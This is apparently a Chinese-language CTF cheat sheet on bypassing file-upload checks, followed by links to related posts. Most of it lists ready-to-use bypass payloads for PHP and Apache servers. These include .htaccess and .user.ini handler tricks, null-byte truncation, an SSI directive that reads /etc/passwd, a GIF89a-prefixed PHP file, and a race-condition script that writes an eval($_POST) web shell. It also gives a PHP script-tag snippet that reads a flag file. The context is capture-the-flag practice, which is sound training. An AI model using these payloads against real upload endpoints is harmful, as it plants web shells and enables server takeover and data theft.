CTF 文件上传
两种校验方式
- 客户端校验(javascript校验)
- 服务端校验
客户端校验
绕过方法
- 抓包改包
- 禁用JS
禁用JS
- 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
- 火狐插件-yescript2
- 老版本可以使用WebDeveloper
抓包改包
用bp抓包后直接改后缀名
服务端校验
MIME类型检测
MIME类型在html文件中使用content-type属性表示
- php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
常见文件名对应的MIME类型
- 扩展名:gif MIME类型:image/gif
- 扩展名:png MIME类型:image/png
- 扩展名:jpg MIME类型:image/jpg
- 扩展名:js MIME类型:text/javascript
- 扩展名:htm MIME类型:text/html
- 扩展名:html MIME类型:text/html
绕过方法
- 抓包改content-type字段
- 改文件名后上传抓包后再改回文件名
- 上传正常文件改文件内容
- 。。。
后缀名黑名单校验
绕过方法
- 大小写绕过,例如Php、PhP
- 利用黑名单中没有的,但是又能够被解析的后缀名,例如
php、php3、php4、php5、php7、pht、phtml、phps - 配合Apache的.htaccess文件上传解析
该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMacth>
不能写
<?时使用伪协议AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
.user.ini上传
刷题记录:[SUCTF 2019]CheckIn- 使用00截断(需要magic_quotes_gpc=Off)
基于一个组合逻辑漏洞
name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
if(type==jpg)
SaveFileToPath(UploadPath.name,name)
在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00
- 超长文件名截断上传(windows 258byte | linux 4096byte)
使用./或. shtml
当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
<!--#exec cmd="cat /etc/passwd"-->
后缀名白名单校验
- 配合Apache的解析缺陷
Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀
内容头校验

绕过方法
在恶意脚本前加上允许上传文件的头标识

GIF89a
<?php phpinfo(); ?>
竞争上传
- 情景
文件上传后,检测是否合法,不合法就删除 - 利用方式
在删除前访问到上传的文件<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>
用bp同时上传和访问
- 例子
https://github.com/backlion/demo/blob/master/lfi_phpinfo.py
php崩溃导致tmp文件保留
当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名
过滤<?或php
- js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
- PHP开启短标签即
short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持

CTF 文件上传的更多相关文章
- ctf.show_web13(文件上传之.user.ini)
这是一道文件上传题,先二话不说丢个图片码,显示为 先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大.将一句话木马修 ...
- 文件上传和WAF的攻与防
Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...
- Web文件上传靶场 - 通关笔记
Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...
- 2020/1/30 PHP代码审计之文件上传漏洞
0x00 漏洞简介 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击是最为直接和有效的,"文件上传"本身是没有问题,有问题的是 ...
- Upload-labs 文件上传靶场通关攻略(下)
Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...
- jquery.uploadify文件上传组件
1.jquery.uploadify简介 在ASP.NET中上传的控件有很多,比如.NET自带的FileUpload,以及SWFUpload,Uploadify等等,尤其后面两个控件的用户体验比较好, ...
- 11、Struts2 的文件上传和下载
文件上传 表单准备 要想使用 HTML 表单上传一个或多个文件 须把 HTML 表单的 enctype 属性设置为 multipart/form-data 须把 HTML 表单的method 属性设置 ...
- Java FtpClient 实现文件上传服务
一.Ubuntu 安装 Vsftpd 服务 1.安装 sudo apt-get install vsftpd 2.添加用户(uftp) sudo useradd -d /home/uftp -s /b ...
- 小兔Java教程 - 三分钟学会Java文件上传
今天群里正好有人问起了Java文件上传的事情,本来这是Java里面的知识点,而我目前最主要的精力还是放在了JS的部分.不过反正也不麻烦,我就专门开一贴来聊聊Java文件上传的基本实现方法吧. 话不多说 ...
随机推荐
- 【转载】C#中使用double.Parse方法将字符串转换为双精度double类型
在C#编程过程中,很多时候涉及到数据类型的转换,例如将字符串类型的变量转换为双精度浮点类型double就是一个常见的类型转换操作,double.Parse方法是C#中专门用来将字符串转换为double ...
- this指向详解及改变它的指向的方法
一.this指向详解(彻底理解js中this的指向,不必硬背) 首先必须要说的是,this的指向在函数定义的时候是确定不了的,只有函数执行的时候才能确定this到底指向谁,实际上this的最终指向的是 ...
- Charles关于Https SSLHandshake解决备忘录
抓包Https时错误提示:SSLHandshake: Received fatal alert: unknown_ca 1.准备工作,下载Charles版本 有情链接,提取码为:ghc6,其中包含 ...
- 浏览器Notwork XHR被隐藏了
图片中红色区域内容被隐藏 解决方式,点击此处
- 实战FFmpeg + OpenGLES--iOS平台上视频解码和播放
一个星期的努力终于搞定了视频的播放,利用FFmpeg解码视频,将解码的数据通过OpenGLES渲染播放.搞清楚了自己想知道的和完成了自己的学习计划,有点小兴奋.明天就是“五一”,放假三天,更开心啦. ...
- time的基本使用介绍
1.获取当前时间并格式化输出 import time t=time.gmtime() tplt='%Y-%m-%d %H:%M:%S' info=time.strftime(tplt,t) print ...
- Implement CGLIB in ABAP
What is cglib?A Byte Code Generation Library which is high level API to generate and transform Java ...
- ABAP和Java里的单例模式攻击
面向对象编程世界里的单例模式(Singleton)可能是设计模式里最简单的一种,大多数开发人员都觉得可以很容易掌握它的用法.单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点. 然而在某些场 ...
- Python学习笔记-数字,列表,元祖,切片,循环
数字 1,加减乘除:+,-,*,/ 2,平方:** 3,立方:**3 4,字符串转换:str(数字) 5,浮点数:带小数点 0.2 Python编程建议 import this >>&g ...
- python-pyhon与模块安装
python 安装Python,配置环境变量,路径为python安装路径,如D:\pythoncmd中输入python可以识别则安装成功 pip升级指令python -m pip install -- ...